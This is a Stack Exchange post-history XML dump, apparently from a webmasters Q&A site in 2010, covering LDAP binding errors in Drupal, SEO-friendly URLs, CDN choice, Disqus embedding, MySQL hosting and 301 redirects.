  <row Id="8332" PostHistoryTypeId="5" PostId="4215" RevisionGUID="fc57dd5d-da55-4299-ad5a-9108f052a42a" CreationDate="2010-10-22T03:56:49.180" UserId="2288" Comment="added 1463 characters in body" Text="**PROBLEM:** Trouble shooting LDAP connection binding and request resolution&#xD;&#xA;&#xD;&#xA;**ERROR:** &quot;LDAP Bind failure for user . Error -1: Can't contact LDAP server&quot;&#xD;&#xA;&#xD;&#xA;**URI:** ldap://ldap.itd.umich.edu/dc=umich,dc=edu??sub?uid=mcs&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;## Heading ##PHP Version 5.1.6&#xD;&#xA;&#xD;&#xA;**php phpinfo() -- LDAP:** &#xD;&#xA;&#xD;&#xA;    LDAP Support 	enabled&#xD;&#xA;    RCS Version 	$Id: ldap.c,v 1.161.2.3 2006/01/01 12:50:08 sniper Exp $&#xD;&#xA;    Total Links 	0/unlimited&#xD;&#xA;    API Version 	3001&#xD;&#xA;    Vendor Name 	OpenLDAP&#xD;&#xA;    Vendor Version 	20343&#xD;&#xA;    SASL Support 	Enabled &#xD;&#xA;&#xD;&#xA;**php phpinfo() -- Apache2/Loaded_Modules:** core prefork http_core mod_so mod_auth_basic mod_auth_digest mod_authn_file mod_authn_alias mod_authn_anon mod_authn_dbm mod_authn_default mod_authz_host mod_authz_user mod_authz_owner mod_authz_groupfile mod_authz_dbm mod_authz_default util_ldap mod_authnz_ldap mod_include mod_log_config mod_logio mod_env mod_ext_filter mod_mime_magic mod_expires mod_deflate mod_headers mod_usertrack mod_setenvif mod_mime mod_dav mod_status mod_autoindex mod_info mod_dav_fs mod_vhost_alias mod_negotiation mod_dir mod_actions mod_speling mod_userdir mod_alias mod_rewrite mod_proxy mod_proxy_balancer mod_proxy_ftp mod_proxy_http mod_proxy_connect mod_cache mod_suexec mod_disk_cache mod_file_cache mod_mem_cache mod_cgi mod_version mod_perl mod_php5 mod_proxy_ajp mod_python mod_ssl &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**additional .ini files parsed:** /etc/php.d/dbase.ini, /etc/php.d/gd.ini, /etc/php.d/ldap.ini, /etc/php.d/mbstring.ini, /etc/php.d/mysql.ini, /etc/php.d/mysqli.ini, /etc/php.d/pdo.ini, /etc/php.d/pdo_mysql.ini, /etc/php.d/pdo_sqlite.ini &#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Drupal_LDAP_Modules:** " />
  <row Id="8333" PostHistoryTypeId="5" PostId="4215" RevisionGUID="80c34771-f3a1-401c-ba88-52a611a58430" CreationDate="2010-10-22T04:02:24.457" UserId="2288" Comment="added 108 characters in body; added 73 characters in body" Text="**PROBLEM:** Trouble shooting LDAP connection binding and request resolution&#xD;&#xA;&#xD;&#xA;**ERROR:** &quot;LDAP Bind failure for user . Error -1: Can't contact LDAP server&quot;&#xD;&#xA;&#xD;&#xA;**URI:** ldap://ldap.itd.umich.edu/dc=umich,dc=edu??sub?uid=mcs&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;## Heading ##PHP Version 5.1.6&#xD;&#xA;&#xD;&#xA;**php phpinfo() -- LDAP:** &#xD;&#xA;&#xD;&#xA;    LDAP Support 	enabled&#xD;&#xA;    RCS Version 	$Id: ldap.c,v 1.161.2.3 2006/01/01 12:50:08 sniper Exp $&#xD;&#xA;    Total Links 	0/unlimited&#xD;&#xA;    API Version 	3001&#xD;&#xA;    Vendor Name 	OpenLDAP&#xD;&#xA;    Vendor Version 	20343&#xD;&#xA;    SASL Support 	Enabled &#xD;&#xA;&#xD;&#xA;**php phpinfo() -- Apache2/Loaded_Modules:** core prefork http_core mod_so mod_auth_basic mod_auth_digest mod_authn_file mod_authn_alias mod_authn_anon mod_authn_dbm mod_authn_default mod_authz_host mod_authz_user mod_authz_owner mod_authz_groupfile mod_authz_dbm mod_authz_default util_ldap mod_authnz_ldap mod_include mod_log_config mod_logio mod_env mod_ext_filter mod_mime_magic mod_expires mod_deflate mod_headers mod_usertrack mod_setenvif mod_mime mod_dav mod_status mod_autoindex mod_info mod_dav_fs mod_vhost_alias mod_negotiation mod_dir mod_actions mod_speling mod_userdir mod_alias mod_rewrite mod_proxy mod_proxy_balancer mod_proxy_ftp mod_proxy_http mod_proxy_connect mod_cache mod_suexec mod_disk_cache mod_file_cache mod_mem_cache mod_cgi mod_version mod_perl mod_php5 mod_proxy_ajp mod_python mod_ssl &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Apache/2.2.3 (CentOS) -- additional .ini files parsed:** /etc/php.d/dbase.ini, /etc/php.d/gd.ini, /etc/php.d/ldap.ini, /etc/php.d/mbstring.ini, /etc/php.d/mysql.ini, /etc/php.d/mysqli.ini, /etc/php.d/pdo.ini, /etc/php.d/pdo_mysql.ini, /etc/php.d/pdo_sqlite.ini &#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Drupal_LDAP_Modules:** &#xD;&#xA;&#xD;&#xA;**Installs:**&#xD;&#xA;&#xD;&#xA;    httpd.i386-2.2.3-43.el5.centos.3-installed&#xD;&#xA;    php-ldap.i386-5.1.6-27.el5-installed&#xD;&#xA;    openldap.i386-2.3.43-12.el5_5.2-installed" />
  <row Id="8334" PostHistoryTypeId="5" PostId="4215" RevisionGUID="8392997e-d8c3-4e6a-8f6f-abb49306952f" CreationDate="2010-10-22T04:09:34.917" UserId="2288" Comment="added 63 characters in body; deleted 10 characters in body; added 79 characters in body" Text="**PROBLEM:** Trouble shooting LDAP connection binding and request resolution&#xD;&#xA;&#xD;&#xA;**ERROR:** &quot;LDAP Bind failure for user . Error -1: Can't contact LDAP server&quot;&#xD;&#xA;&#xD;&#xA;**URI:** [ldap://ldap.itd.umich.edu/dc=umich,dc=edu??sub?uid=mcs][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;## php phpinfo() = PHP Version 5.1.6&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**LDAP:**&#xD;&#xA;&#xD;&#xA;    LDAP Support 	enabled&#xD;&#xA;    RCS Version 	$Id: ldap.c,v 1.161.2.3 2006/01/01 12:50:08 sniper Exp $&#xD;&#xA;    Total Links 	0/unlimited&#xD;&#xA;    API Version 	3001&#xD;&#xA;    Vendor Name 	OpenLDAP&#xD;&#xA;    Vendor Version 	20343&#xD;&#xA;    SASL Support 	Enabled &#xD;&#xA;&#xD;&#xA;**php phpinfo() -- Apache2/Loaded_Modules:** core prefork http_core mod_so mod_auth_basic mod_auth_digest mod_authn_file mod_authn_alias mod_authn_anon mod_authn_dbm mod_authn_default mod_authz_host mod_authz_user mod_authz_owner mod_authz_groupfile mod_authz_dbm mod_authz_default util_ldap mod_authnz_ldap mod_include mod_log_config mod_logio mod_env mod_ext_filter mod_mime_magic mod_expires mod_deflate mod_headers mod_usertrack mod_setenvif mod_mime mod_dav mod_status mod_autoindex mod_info mod_dav_fs mod_vhost_alias mod_negotiation mod_dir mod_actions mod_speling mod_userdir mod_alias mod_rewrite mod_proxy mod_proxy_balancer mod_proxy_ftp mod_proxy_http mod_proxy_connect mod_cache mod_suexec mod_disk_cache mod_file_cache mod_mem_cache mod_cgi mod_version mod_perl mod_php5 mod_proxy_ajp mod_python mod_ssl &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Apache/2.2.3 (CentOS) -- additional .ini files parsed:** /etc/php.d/dbase.ini, /etc/php.d/gd.ini, /etc/php.d/ldap.ini, /etc/php.d/mbstring.ini, /etc/php.d/mysql.ini, /etc/php.d/mysqli.ini, /etc/php.d/pdo.ini, /etc/php.d/pdo_mysql.ini, /etc/php.d/pdo_sqlite.ini &#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Drupal_LDAP_Modules:** ldap_integration-6.x-1.0-beta2-(ldapauth,ldapgroups,ldapgroups)&#xD;&#xA;&#xD;&#xA;**Installs:**&#xD;&#xA;&#xD;&#xA;    httpd.i386-2.2.3-43.el5.centos.3-installed&#xD;&#xA;    php-ldap.i386-5.1.6-27.el5-installed&#xD;&#xA;    openldap.i386-2.3.43-12.el5_5.2-installed&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://ldap://ldap.itd.umich.edu/dc=umich,dc=edu??sub?uid=mcs" />
  <row Id="8335" PostHistoryTypeId="2" PostId="4221" RevisionGUID="ceeec5e7-d71e-4a68-9884-ab4476ee6657" CreationDate="2010-10-22T04:16:27.650" UserId="2026" Text="How much i know about a SEO friendly URL&#xD;&#xA;&#xD;&#xA;1. There first 25 chars must contain actual meaning of article&#xD;&#xA;2. They should not be larger than 255 chars.&#xD;&#xA;3. Their link format should be like %category%post title% (in case of wordpress )&#xD;&#xA;4. They should contain some uniq no.&#xD;&#xA;&#xD;&#xA;I may be wrong on some points. Please correct me, if any.&#xD;&#xA;&#xD;&#xA;Many people short their URL. But as per my understanding it creates overhead of extra redirection, other can not guess about the target article with their url, and it should be less friendly for &quot;inurl:...&quot; type search.&#xD;&#xA;&#xD;&#xA;My question is, should i short URL of my sites? is there any advantage to short an URL besides that they take less chars on page(good for site loading)????" />
  <row Id="8336" PostHistoryTypeId="1" PostId="4221" RevisionGUID="ceeec5e7-d71e-4a68-9884-ab4476ee6657" CreationDate="2010-10-22T04:16:27.650" UserId="2026" Text="Is long URL not good from SEO point of view?" />
  <row Id="8337" PostHistoryTypeId="3" PostId="4221" RevisionGUID="ceeec5e7-d71e-4a68-9884-ab4476ee6657" CreationDate="2010-10-22T04:16:27.650" UserId="2026" Text="&lt;seo&gt;&lt;url&gt;" />
  <row Id="8338" PostHistoryTypeId="5" PostId="4215" RevisionGUID="00d158e4-9c45-4c2c-97b2-93a17c537614" CreationDate="2010-10-22T04:16:48.960" UserId="2288" Comment="added 13 characters in body" Text="**PROBLEM:** Trouble shooting LDAP connection binding and request resolution&#xD;&#xA;&#xD;&#xA;**ERROR:** &quot;LDAP Bind failure for user . Error -1: Can't contact LDAP server&quot;&#xD;&#xA;&#xD;&#xA;**URI_UP_&amp;_CHECKED:** [ldap://ldap.itd.umich.edu/dc=umich,dc=edu??sub?uid=mcs][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;## php phpinfo() = PHP Version 5.1.6&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**LDAP:**&#xD;&#xA;&#xD;&#xA;    LDAP Support 	enabled&#xD;&#xA;    RCS Version 	$Id: ldap.c,v 1.161.2.3 2006/01/01 12:50:08 sniper Exp $&#xD;&#xA;    Total Links 	0/unlimited&#xD;&#xA;    API Version 	3001&#xD;&#xA;    Vendor Name 	OpenLDAP&#xD;&#xA;    Vendor Version 	20343&#xD;&#xA;    SASL Support 	Enabled &#xD;&#xA;&#xD;&#xA;**php phpinfo() -- Apache2/Loaded_Modules:** core prefork http_core mod_so mod_auth_basic mod_auth_digest mod_authn_file mod_authn_alias mod_authn_anon mod_authn_dbm mod_authn_default mod_authz_host mod_authz_user mod_authz_owner mod_authz_groupfile mod_authz_dbm mod_authz_default util_ldap mod_authnz_ldap mod_include mod_log_config mod_logio mod_env mod_ext_filter mod_mime_magic mod_expires mod_deflate mod_headers mod_usertrack mod_setenvif mod_mime mod_dav mod_status mod_autoindex mod_info mod_dav_fs mod_vhost_alias mod_negotiation mod_dir mod_actions mod_speling mod_userdir mod_alias mod_rewrite mod_proxy mod_proxy_balancer mod_proxy_ftp mod_proxy_http mod_proxy_connect mod_cache mod_suexec mod_disk_cache mod_file_cache mod_mem_cache mod_cgi mod_version mod_perl mod_php5 mod_proxy_ajp mod_python mod_ssl &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Apache/2.2.3 (CentOS) -- additional .ini files parsed:** /etc/php.d/dbase.ini, /etc/php.d/gd.ini, /etc/php.d/ldap.ini, /etc/php.d/mbstring.ini, /etc/php.d/mysql.ini, /etc/php.d/mysqli.ini, /etc/php.d/pdo.ini, /etc/php.d/pdo_mysql.ini, /etc/php.d/pdo_sqlite.ini &#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Drupal_LDAP_Modules:** ldap_integration-6.x-1.0-beta2-(ldapauth,ldapgroups,ldapgroups)&#xD;&#xA;&#xD;&#xA;**Installs:**&#xD;&#xA;&#xD;&#xA;    httpd.i386-2.2.3-43.el5.centos.3-installed&#xD;&#xA;    php-ldap.i386-5.1.6-27.el5-installed&#xD;&#xA;    openldap.i386-2.3.43-12.el5_5.2-installed&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://ldap://ldap.itd.umich.edu/dc=umich,dc=edu??sub?uid=mcs" />
  <row Id="8339" PostHistoryTypeId="2" PostId="4222" RevisionGUID="d2e027a7-7736-4135-a62b-cd40972b5204" CreationDate="2010-10-22T04:21:23.843" UserId="2026" Text="When i applied for google adsense they replied me on the same day(Unfortunately they rejected my application. And asked me to resubmit)&#xD;&#xA;&#xD;&#xA;I resumitted the application for adsense around 8-10 days ago. Still it is pending from their end. Does any one has idea how much maximum time they can take?" />
  <row Id="8340" PostHistoryTypeId="1" PostId="4222" RevisionGUID="d2e027a7-7736-4135-a62b-cd40972b5204" CreationDate="2010-10-22T04:21:23.843" UserId="2026" Text="Google adsense is not responsnig" />
  <row Id="8341" PostHistoryTypeId="3" PostId="4222" RevisionGUID="d2e027a7-7736-4135-a62b-cd40972b5204" CreationDate="2010-10-22T04:21:23.843" UserId="2026" Text="&lt;google-adsense&gt;" />
  <row Id="8342" PostHistoryTypeId="2" PostId="4223" RevisionGUID="7f05d16b-3d4b-4f7c-846b-190d46106732" CreationDate="2010-10-22T04:40:30.440" UserId="2551" Text="Those less characters won't speed up you page loading process for sure, but you can try and keep your links short in the first place. Also, a simple URL shortener is easy to build, so you can build one for every site you have. &#xD;&#xA;&#xD;&#xA;Say a normal link on your website would look like:&#xD;&#xA;&#xD;&#xA;http://example.com/computer-science/a-question-about-long-urls-seo-and-google&#xD;&#xA;&#xD;&#xA;You can use your own shortener and transform that to:&#xD;&#xA;&#xD;&#xA;http://example.com/long-urls-seo-and-google&#xD;&#xA;&#xD;&#xA;That is the technical answer, meaning you can do shortening &quot;longer&quot; but &quot;friendlier&quot;. SEO-wise, I suggest that as long as you have friendly (human-readable) URLs, keep them that way. Take the URL of this page as an example." />
  <row Id="8343" PostHistoryTypeId="2" PostId="4224" RevisionGUID="13aa35f2-194f-4080-9dda-9b1bd41da9b5" CreationDate="2010-10-22T05:18:13.470" UserId="2235" Text="If you check out the **fifth** link **ABLawyers Online Education Centre** on **Bing**:&#xD;&#xA;&#xD;&#xA;http://www.bing.com/search?q=ablawyers&amp;form=QBLH&amp;filt=all&amp;qs=n&amp;sk=&amp;sc=1-9&#xD;&#xA;&#xD;&#xA;You will see porn text &quot;Jennifer Carpenter ....&quot;&#xD;&#xA;&#xD;&#xA;I also get the same with the **sixth** link when you search for &quot;ABlawyers&quot; in **Yahoo**.&#xD;&#xA;&#xD;&#xA;When searched on **Google**, it does not have the same problem.&#xD;&#xA;&#xD;&#xA;How can this be fixed? &#xD;&#xA;&#xD;&#xA;Thank you." />
  <row Id="8344" PostHistoryTypeId="1" PostId="4224" RevisionGUID="13aa35f2-194f-4080-9dda-9b1bd41da9b5" CreationDate="2010-10-22T05:18:13.470" UserId="2235" Text="Porn description in Yahoo and Bing search results" />
  <row Id="8345" PostHistoryTypeId="3" PostId="4224" RevisionGUID="13aa35f2-194f-4080-9dda-9b1bd41da9b5" CreationDate="2010-10-22T05:18:13.470" UserId="2235" Text="&lt;search-engines&gt;&lt;meta-description&gt;" />
  <row Id="8347" PostHistoryTypeId="2" PostId="4225" RevisionGUID="264d680e-1b77-42c9-932d-d3ffc8eab6ec" CreationDate="2010-10-22T05:43:32.237" UserId="1757" Text="You do not need to include a unique number in the URL. I don't see how that would improve SEO. An SEO-friendly URL is one that is user-friendly, e.g.&#xD;&#xA;&#xD;&#xA; - is short and easy to remember&#xD;&#xA; - doesn't contain any strange characters (e.g. character encoding or query strings)&#xD;&#xA; - describes the content (instead of just using a random article ID number)&#xD;&#xA; - shows the site structure (e.g. `http://foo/artists/acid_bath/lyrics`)&#xD;&#xA;&#xD;&#xA;A short URL doesn't create any extra overhead&amp;mdash;at least not in the conventional usage of the word&amp;mdash;it just obfuscates the URL and, if it doesn't use a 301 redirect, interferes with proper PageRank flow.&#xD;&#xA;&#xD;&#xA;The only reason to use URL shorteners is for services like Twitter, where you have a low character limit, or for mobile users for whom it's difficult to type long URLs.&#xD;&#xA;&#xD;&#xA;In most cases, you should just generate a [slug][1] from the page title. Doing so gets rid of any special characters and unnecessary articles or conjunctions. This shortens the URL while keeping it descriptive and user-friendly.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Slug_%28web_publishing%29" />
  <row Id="8348" PostHistoryTypeId="2" PostId="4226" RevisionGUID="9de38429-b75f-41a0-ae2d-57b972e86d89" CreationDate="2010-10-22T06:28:51.367" UserId="1757" Text="The [Bing cache of the page][1] shows that it was keyword-stuffed with porn links in the header and footer when the page was last cached.&#xD;&#xA;&#xD;&#xA;You'll just have to wait for Yahoo! and Bing to crawl the page again and realize that the page has changed.&#xD;&#xA;&#xD;&#xA;  [1]: http://cc.bingj.com/cache.aspx?q=ablawyers+jennifer+carpenter&amp;d=4756904050493457&amp;mkt=en-US&amp;setlang=en-US&amp;w=58cf8417,7b300d7f" />
  <row Id="8349" PostHistoryTypeId="2" PostId="4227" RevisionGUID="a4723f88-a44e-40c7-8136-0a581e195af5" CreationDate="2010-10-22T07:40:08.130" UserDisplayName="Fairu" Text="The website will be faster if it is hosted in Japanese. Google is honored this." />
  <row Id="8350" PostHistoryTypeId="2" PostId="4228" RevisionGUID="90123c40-d4d5-426d-9668-942566f8d572" CreationDate="2010-10-22T08:06:31.323" UserId="2644" Text="I have a popular site http://www.addictivetips.com/ for which I would like to use a CDN network. So far I have found NetDNA since it is easier to setup with W3 Total Cache plugin.&#xD;&#xA;&#xD;&#xA;There is Rackspace Couldfiles and Amazon. But there are also Akamai, Limelight, and many others.&#xD;&#xA;&#xD;&#xA;Apart from price difference, is there any other specific difference between them? Is there anyone who has used the services above and can recommend the best one out there?" />
  <row Id="8351" PostHistoryTypeId="1" PostId="4228" RevisionGUID="90123c40-d4d5-426d-9668-942566f8d572" CreationDate="2010-10-22T08:06:31.323" UserId="2644" Text="What is the difference between CDN networks and which one is the best out there?" />
  <row Id="8352" PostHistoryTypeId="3" PostId="4228" RevisionGUID="90123c40-d4d5-426d-9668-942566f8d572" CreationDate="2010-10-22T08:06:31.323" UserId="2644" Text="&lt;web-hosting&gt;&lt;cdn&gt;" />
  <row Id="8353" PostHistoryTypeId="2" PostId="4229" RevisionGUID="3348d424-729e-4b12-b189-db10d39a9fde" CreationDate="2010-10-22T08:29:00.270" UserDisplayName="Peter P" Text="I am looking for a simple tool or service to track the **server-side** performance of a website over time.&#xD;&#xA;&#xD;&#xA;It would be nice to have the possibility to register a set of URLs for different page types and see graphs how response/download time goes up or down over time.&#xD;&#xA;&#xD;&#xA;This might either be a tool to install on a server of our own, our a service. Of course, free of cost would be preferred, commercial solutions should be a lot cheaper than what I saw so far (50$/month is definitely far too much to spend for something like this)&#xD;&#xA;&#xD;&#xA;I know that the G-Webmaster tools offer a graph for average download time, but the problem lies in &quot;average&quot;. If a single page type is slowed down for some reason, it does not hit the average enough that the issue can be quickly detected.&#xD;&#xA;&#xD;&#xA;Thanks a lot for your suggestions,&#xD;&#xA;Peter" />
  <row Id="8354" PostHistoryTypeId="1" PostId="4229" RevisionGUID="3348d424-729e-4b12-b189-db10d39a9fde" CreationDate="2010-10-22T08:29:00.270" UserDisplayName="Peter P" Text="Is there a good tool or service for tracking and analyzing website response/download time?" />
  <row Id="8355" PostHistoryTypeId="3" PostId="4229" RevisionGUID="3348d424-729e-4b12-b189-db10d39a9fde" CreationDate="2010-10-22T08:29:00.270" UserDisplayName="Peter P" Text="&lt;performance&gt;&lt;tracking&gt;&lt;monitoring&gt;&lt;websites&gt;&lt;website-analytics-tools&gt;" />
  <row Id="8356" PostHistoryTypeId="2" PostId="4230" RevisionGUID="9b2c7064-70d2-4d41-b9bb-dbb7a67ddd0d" CreationDate="2010-10-22T08:43:09.433" UserId="2646" Text="I would like to separate my production server into 2, one for running code, the other one is for DB, which is MySQL.&#xD;&#xA;&#xD;&#xA;Is there any suggestion if I would like to subscribe a MySQL service? I have few applications need such standalone database service. So I would like to a service which allow me to create as many database as I want.&#xD;&#xA;&#xD;&#xA;Thanks everyone. :)" />
  <row Id="8357" PostHistoryTypeId="1" PostId="4230" RevisionGUID="9b2c7064-70d2-4d41-b9bb-dbb7a67ddd0d" CreationDate="2010-10-22T08:43:09.433" UserId="2646" Text="Any suggestion on MySQL services?" />
  <row Id="8358" PostHistoryTypeId="3" PostId="4230" RevisionGUID="9b2c7064-70d2-4d41-b9bb-dbb7a67ddd0d" CreationDate="2010-10-22T08:43:09.433" UserId="2646" Text="&lt;server&gt;&lt;mysql&gt;" />
  <row Id="8359" PostHistoryTypeId="5" PostId="4228" RevisionGUID="82340d5f-d9b7-4aaa-8d68-a66c15eb2ee0" CreationDate="2010-10-22T08:52:51.023" UserId="2644" Comment="deleted 31 characters in body" Text="I run a popular site for which I would like to use a CDN network. So far I have found NetDNA since it is easier to setup with W3 Total Cache plugin.&#xD;&#xA;&#xD;&#xA;There is Rackspace Couldfiles and Amazon. But there are also Akamai, Limelight, and many others.&#xD;&#xA;&#xD;&#xA;Apart from price difference, is there any other specific difference between them? Is there anyone who has used the services above and can recommend the best one out there?" />
  <row Id="8360" PostHistoryTypeId="2" PostId="4231" RevisionGUID="43bb42f6-f7bb-4bfa-8de0-eeedf3d9684d" CreationDate="2010-10-22T09:29:30.610" UserId="1757" Text="Are you doing this for security reasons? Because if you are, then having your DB on a separate publicly-accessible network sorta defeats the purpose. The idea of keeping web server and DB server on separate servers is so that, while your web server needs to be in a DMZ, your database server should not.&#xD;&#xA;&#xD;&#xA;The best thing to do is just find a web host that puts the DB on a separate server, but one that is only accessible from within the network. I don't know of any web hosts like this off hand though.&#xD;&#xA;&#xD;&#xA;If you want to separate DB and application for other reasons, then DremaHost offers shared hosting with unlimited MySQL databases, which are hosted on separate servers. Still, even though I like DreamHost and recommend them to everyone, I don't know if this is any reason to switch web hosts.&#xD;&#xA;&#xD;&#xA;If you want more scalable database access, then you could try Amazon's SimpleDB or Amazon Relational Database Service (RDS). Both offer cloud data storage; the latter includes a MySQL option, I believe." />
  <row Id="8361" PostHistoryTypeId="2" PostId="4232" RevisionGUID="eb8e293a-a472-4245-9161-07a4d1072834" CreationDate="2010-10-22T09:47:38.083" UserId="2026" Text="This is not tracking tool. But you can analyze performance at a moment. &#xD;&#xA;&#xD;&#xA;http://www.websiteoptimization.com/services/analyze/" />
  <row Id="8362" PostHistoryTypeId="5" PostId="4229" RevisionGUID="48cd4278-8934-4145-bc8c-aab7a88b3fd4" CreationDate="2010-10-22T10:24:25.597" UserDisplayName="Peter P" Comment="added information about operating system" Text="I am looking for a simple tool or service to track the **server-side** performance of a website over time.&#xD;&#xA;&#xD;&#xA;It would be nice to have the possibility to register a set of URLs for different page types and see graphs how response/download time goes up or down over time.&#xD;&#xA;&#xD;&#xA;This might either be a tool to install on a server of our own, our a service. Of course, free of cost would be preferred, commercial solutions should be a lot cheaper than what I saw so far (50$/month is definitely far too much to spend for something like this)&#xD;&#xA;&#xD;&#xA;I know that the G-Webmaster tools offer a graph for average download time, but the problem lies in &quot;average&quot;. If a single page type is slowed down for some reason, it does not hit the average enough that the issue can be quickly detected.&#xD;&#xA;&#xD;&#xA;Thanks a lot for your suggestions,&#xD;&#xA;Peter&#xD;&#xA;&#xD;&#xA;EDIT: currently I am running linux servers, but I might be able to set up a windows machine for this, too. So software for both OSs would be interesting. (OS independency would be appreciated, though :)" />
  <row Id="8363" PostHistoryTypeId="2" PostId="4233" RevisionGUID="572c86ac-edde-4227-8cac-2cd290a4495d" CreationDate="2010-10-22T11:29:47.303" UserId="2648" Text="I try to embed a disqus forum in a website I created. I used the exact code and instructions they give on the installation instructions. I just don't get it. Not much on Google either. Is something wrong in the code? Should I change anything?&#xD;&#xA;&#xD;&#xA;    &lt;!DOCTYPE HTML&gt; &#xD;&#xA;    &lt;html&gt; &#xD;&#xA;    &lt;head&gt; &#xD;&#xA;    &lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;text/html; charset=UTF-8&quot;&gt; &#xD;&#xA;    &lt;link rel=&quot;shortcut icon&quot; href=&quot;../favicon.ico&quot;&gt; &#xD;&#xA;    &lt;title&gt;Little Louie | Hennis &amp;amp; Blaisse Lovers Productions&lt;/title&gt; &#xD;&#xA;    &lt;META NAME=&quot;keywords&quot; CONTENT=&quot;some,tags&quot;&gt; &#xD;&#xA;    &lt;link href=&quot;../style2.css&quot; rel=&quot;stylesheet&quot; type=&quot;text/css&quot;&gt; &#xD;&#xA;    &lt;/head&gt;&#xD;&#xA;    &#xD;&#xA;    &lt;body&gt;&#xD;&#xA;    &#xD;&#xA;    &lt;p&gt;&lt;b&gt;Some text&lt;/p&gt;&#xD;&#xA;    &lt;p&gt;&#xD;&#xA;    &lt;div id=&quot;disqus_thread&quot;&gt;&lt;/div&gt;&#xD;&#xA;    &lt;script type=&quot;text/javascript&quot;&gt;&#xD;&#xA;      (function() {&#xD;&#xA;       var dsq = document.createElement('script'); dsq.type = 'text/javascript'; dsq.async = true;&#xD;&#xA;       dsq.src = 'http://littelouie.disqus.com/embed.js';&#xD;&#xA;       (document.getElementsByTagName('head')[0] || document.getElementsByTagName('body')[0]).appendChild(dsq);&#xD;&#xA;      })();&#xD;&#xA;    &lt;/script&gt;&#xD;&#xA;    &lt;noscript&gt;Please enable JavaScript to view the &lt;a href=&quot;http://disqus.com/?ref_noscript=littelouie&quot;&gt;comments powered by Disqus.&lt;/a&gt;&lt;/noscript&gt;&#xD;&#xA;    &lt;a href=&quot;http://disqus.com&quot; class=&quot;dsq-brlink&quot;&gt;blog comments powered by &lt;span class=&quot;logo-disqus&quot;&gt;Disqus&lt;/span&gt;&lt;/a&gt;&#xD;&#xA;    &#xD;&#xA;    &lt;/p&gt;&#xD;&#xA;    &#xD;&#xA;    &lt;p&gt;&#xD;&#xA;    &lt;script type=&quot;text/javascript&quot;&gt;&#xD;&#xA;    var disqus_shortname = 'littelouie';&#xD;&#xA;    (function () {&#xD;&#xA;      var s = document.createElement('script'); s.async = true;&#xD;&#xA;      s.src = 'http://disqus.com/forums/littelouie/count.js';&#xD;&#xA;      (document.getElementsByTagName('HEAD')[0] || document.getElementsByTagName('BODY')[0]).appendChild(s);&#xD;&#xA;    }());&#xD;&#xA;    &lt;/script&gt;&#xD;&#xA;    &#xD;&#xA;    &lt;/p&gt;&#xD;&#xA;    &#xD;&#xA;    &lt;/body&gt; &#xD;&#xA;    &lt;/html&gt; &#xD;&#xA;&#xD;&#xA;" />
  <row Id="8364" PostHistoryTypeId="1" PostId="4233" RevisionGUID="572c86ac-edde-4227-8cac-2cd290a4495d" CreationDate="2010-10-22T11:29:47.303" UserId="2648" Text="Disqus integration in website.. what is wrong??" />
  <row Id="8365" PostHistoryTypeId="3" PostId="4233" RevisionGUID="572c86ac-edde-4227-8cac-2cd290a4495d" CreationDate="2010-10-22T11:29:47.303" UserId="2648" Text="&lt;html&gt;&lt;website-design&gt;&lt;web-development&gt;&lt;javascript&gt;" />
  <row Id="8366" PostHistoryTypeId="2" PostId="4235" RevisionGUID="36a6dd9e-fdd3-45ba-b2be-26352e17d2f4" CreationDate="2010-10-22T11:37:14.600" UserId="1647" Text="It's a good habit to provide an unique URL for every resource in your site.&#xD;&#xA;So the answer is yes, it's a good idea to redirect the user if it enters an incomplete URL.&#xD;&#xA;&#xD;&#xA;In your case, the redirect should set a 301 HTTP Status code because you are permanently redirecting &#xD;&#xA;&#xD;&#xA;    /questions/Question-ID&#xD;&#xA;&#xD;&#xA;to&#xD;&#xA;&#xD;&#xA;    /questions/Question-ID&#xD;&#xA;&#xD;&#xA;This change will also reduce page duplication and help search engines to consolidate your ranking." />
  <row Id="8367" PostHistoryTypeId="2" PostId="4234" RevisionGUID="5e40092a-d61a-43d4-a16e-43a681639d1f" CreationDate="2010-10-22T10:53:48.333" UserId="1585" Text="Lets take this site, the path is&#xD;&#xA;&#xD;&#xA;    /questions/Question-ID/title&#xD;&#xA;&#xD;&#xA;If a user writes the below it still works. On my site I was wondering if i should redirect the to the new url or let it be? what error code should i use? 302? 303?&#xD;&#xA;&#xD;&#xA;    /questions/Question-ID" />
  <row Id="8368" PostHistoryTypeId="1" PostId="4234" RevisionGUID="5e40092a-d61a-43d4-a16e-43a681639d1f" CreationDate="2010-10-22T10:53:48.333" UserId="1585" Text="Should i redirect to rename URI?" />
